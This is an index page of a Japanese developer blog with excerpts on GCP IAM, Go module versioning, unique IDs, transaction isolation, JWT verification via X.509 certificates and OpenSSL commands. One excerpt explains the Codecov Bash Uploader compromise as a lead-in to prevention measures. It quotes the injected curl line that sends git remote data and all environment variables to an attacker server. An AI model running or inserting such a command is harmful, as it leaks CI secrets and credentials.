Carpe Diem

備忘録

GCPのIAMを使う上で理解しておくこと

背景

IAMはアクセス制御をする上で非常に重要な仕組みですが、一方で複雑になりがちです。
間違った理解のままだと必要以上の権限を与えてしまい、事故の原因となるので押さえておくべき点をいくつかまとめてみます。

リソース階層

GCPのIAMにはリソース階層があり、それぞれの階層を意識した上でIAMポリシーを設定する必要があります。

ref: リソース階層を使用したアクセス制御  |  IAM のドキュメント  |  Google Cloud

続きを読む

Go modulesで依存モジュールのメジャーバージョンがv2以上の時の対応

背景

依存するモジュールのメジャーバージョンがv2以上の場合に、以下のようにバージョン指定すると

$ go get github.com/xxx/yyy@v2.0.1

次のように怒られます。

require github.com/xxx/yyy: version "v2.0.1" invalid: should be v0 or v1, not v2

今回はこの対応方法について説明します。

環境

  • go 1.16.3

version "vX.X.X" invalid: should be v0 or v1, not v2

原因

go modulesは複数の依存モジュールA, Bが同じ依存モジュールCに依存している場合、ABのgo.modでより新しいバージョンのCを使おうとします。

f:id:quoll00:20210501231353p:plain

続きを読む

CodecovのBash Uploader問題の再発防止策

概要

コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。

bash <(curl -s https://codecov.io/bash)

ref: Codecov Bash uploader

しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。

about.codecov.io

改竄されたスクリプトでは

curl -sm 0.5 -d$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true

という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。

一次対応として送信された機密情報のローテーションは必須ですが、二次対応として今後同じ問題が起きないよう再発防止策の導入も必要となります。

続きを読む

ユースケースに応じたユニークなIDの生成

概要

ユニークなID生成をしたい場面は多々ありますが、ユニークIDにはユースケースによって以下のような要件が出てきます。

  • ユニーク
  • 短い(=データ量が少ない)
  • 推測困難
  • 分散性(ランダム性)
  • 順序性(Lexicographical)
  • 生成速度

それぞれの観点について説明し、最後にGoでオススメの選択肢を提示します。

ユニーク

ユニークIDというのでそのまんまではありますが、一番満たさなければいけない要件です。

特に現代におけるサービスではトラフィックをさばくためにスケール性を重視し、分散システムであっても衝突しないIDを求められます。

例えばMySQLのようなDBのauto_incrementを使う場合、そのDBがスケールしにくい&SPoFといった課題があります。

続きを読む

トランザクション分離レベルのケースと対応方法

背景

トランザクションの分離レベルで出てくる用語がぱっと頭に浮かぶよう、問題が発生するケースと対応方法をまとめます。

起きうる問題

基本的にどのDBも単一オブジェクトの原子性と分離性は保証します。
つまりデータ送信の途中でネットワーク接続が切れたら断片のみ保存するのではなく、全て破棄します。
また同時に更新処理があったとしてもデータを混ぜて保存するといったことはありません。
{id: 1, name: alice},{id: 1, name: bob}があったとして{id: 1, name: aliob}にはならない)

分離性で問題になるケースは主に複数のオブジェクトを並行で同時に操作する際に起きます。

ダーティリード

あるクライアントが他のクライアントのコミット前の書き込みを読み込むことです。

この例ではBobは新規メールがあるにも関わらず、未読件数は0のままです。

続きを読む

JWTの署名検証で使う公開鍵をX.509証明書で管理する

概要

JWTをアクセストークンとして利用する場合、署名(秘密鍵)は認証サーバで、署名検証(公開鍵)はリソースサーバで行うのが良いです。

そのため認証サーバは公開鍵をリソースサーバに公開する必要があります。

Googleなどの大規模サービスを見ると、生の公開鍵を公開しているのではなくX.509証明書の形で公開されています。
これは

  • 公開鍵の有効期間が設定できる
  • 公開鍵が改ざんされていない事が分かる
  • なりすましによる公開鍵でないことが分かる
  • 秘密鍵が漏洩した時に失効ができる

といったデジタル署名のメリットを享受できるようにと考えられます。

{
  "4e00e8fe5f2c88cf0c7044f307f7e739788e4f1e": "-----BEGIN CERTIFICATE-----\nMIIDHDCCAgSgAwIBAgIILnkHftPtFMYwDQYJKoZIhvcNAQEFBQAwMTEvMC0GA1UE\nAxMmc2VjdXJldG9rZW4uc3lzdGVtLmdzZXJ2aWNlYWNjb3VudC5jb20wHhcNMjEw\nMzEzMDkyMDE2WhcNMjEwMzI5MjEzNTE2WjAxMS8wLQYDVQQDEyZzZWN1cmV0b2tl\nbi5zeXN0ZW0uZ3NlcnZpY2VhY2NvdW50LmNvbTCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKhhzpJd8Eeu/lCdaA0x2P0gHvVT3aGmH4bxgbVpLjvQDZEr\nDebKhDaMNJDx16MDDJWo7oFzSCLe8humbCKqRymRISD7S2BsUnYBSgShrhkFZ00S\nFxan9znx8sev4sIWaxy0M7FEUVLpKlzcBIVpK5Wpj1P8z1A0lVhd5lj/gHY/WTLv\nNyG1tcajR0nSSygymGlYpfJKWuBjJTQSbhfTujXFaqUGKov6OeRU+7jBTow4M8Cu\nk8a1eohl/2ti5MHjPYtXvhahfDo33uHZ9TTle5NEFZCC2lW8wL4RBvCqhhw2i5EV\nfDuqSw9/G2MHCN5QmFTwNY+LNE2aghLY7kIvQW8CAwEAAaM4MDYwDAYDVR0TAQH/\nBAIwADAOBgNVHQ8BAf8EBAMCB4AwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwIwDQYJ\nKoZIhvcNAQEFBQADggEBAAI6cD9Tx1QSwdUj1k+jkLBor9m6mZHv2cb40jsjiFxo\nYZESNCpLikD7K6pRewbFIrvqnUQDMxNVMlrFCWVm7NqJPJKvdnWEVOHqW5TgoMe3\nHnkzgpjEwREQfWJGJeW6yQbg0t8NW4h8Wi516aL3uNP8pgR7ZSLBwzbnW24SS1Kc\nfOMVLrKYaugvpDHy7TeK4WEilnGV3l2Agwq4cmqqdZscrRKxfrq9leLeNDpFlPLK\nlqrRlsuf5Zo0nOEsQ/+XW0vEsR+3VEGAgKJ4vRJoXsTh2DDp7StfwxXbQNBZ8MdR\nZ65pwGB7HGCXZiCrAo2ZyMGYr91SRgdlXzjRtOiYcX4=\n-----END CERTIFICATE-----\n",
  "48949d7d407fec9b2ac8d635ecba0b7a914ed8fb": "-----BEGIN CERTIFICATE-----\nMIIDHDCCAgSgAwIBAgIIROeL9MsgVpEwDQYJKoZIhvcNAQEFBQAwMTEvMC0GA1UE\nAxMmc2VjdXJldG9rZW4uc3lzdGVtLmdzZXJ2aWNlYWNjb3VudC5jb20wHhcNMjEw\nMzA1MDkyMDE2WhcNMjEwMzIxMjEzNTE2WjAxMS8wLQYDVQQDEyZzZWN1cmV0b2tl\nbi5zeXN0ZW0uZ3NlcnZpY2VhY2NvdW50LmNvbTCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAME/0KmvljavWngX6QNm9PeJsSo3QUkoobUvFOBjFkDnDR0F\npa9bv5dQxpMr+TFvSvMIBLKENde1hD9q8dgN9WXpa++XxEKbdAx86nhjVLYzDm0O\nsMyonvddF0kPvTOKD2SGof2uoceeDu6AJnymM0EO5lpj15Bz8FThm9NDOM1mElA+\nmuhNAdgyIjVNRSDyFSE177DqoHJ7hVYsHW1Pvyrfkh0CtHV73XQsxT4xJdXGPJxf\nC3g0NsUVRMpcJzqMZm42QTwdXIIsQE7GWRZVzcNayyccHu7MEafH5zNaQYpUHnio\nj2KZJ1AxTERECoUa6VGLWttTVW34YKqK5Dv7qQMCAwEAAaM4MDYwDAYDVR0TAQH/\nBAIwADAOBgNVHQ8BAf8EBAMCB4AwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwIwDQYJ\nKoZIhvcNAQEFBQADggEBALDDPZJiCZiCF5kq3C0jKrZeg0TXNzsnnicbXxQMhefz\nQeRfD3M0wnuTqLtCYgqSs3jWUZTMkXP3vaYnDbr+Wk1uHzIuX4GLzqqNrkJzVAfm\nC2ashKj+4PwcSPa9hfRXh/GAgtCOE9FJOOD0bRQKnSowSY3B8ZftkGpMOD//hYJK\nIFl05d9Cu2rCkdg6Trgx1GrpszSHU0WP2TFRZApuWpAogPpAPBMIDaEaZ8YYgMed\nBJkDGaJaHP6wwD1WISYJ8JownG5rHLEGsCrPAUzFaURT+z1LkuE4flCIxErl8gO9\ndTw/jtB1GXqbU/O8/d0uHiEsL6Kp9b/JgINIh730dK8=\n-----END CERTIFICATE-----\n"
}

ref: https://www.googleapis.com/robot/v1/metadata/x509/securetoken@system.gserviceaccount.com

今回はその場合の署名検証の実装を説明します。

続きを読む

OpenSSLコマンド備忘録

概要

よく忘れるので備忘録として。

環境

  • macOS v11.2.3
  • OpenSSL v1.1.1

秘密鍵、公開鍵

基本的にgenpkeyで作れるが、RSA、EC系は他のコマンドの方が短い記述で生成できる。

RSA

RSA秘密鍵を生成

$ openssl genrsa -out key.pem 4096

秘密鍵から公開鍵の生成

$ openssl rsa -in key.pem -pubout -out pubkey.pem
続きを読む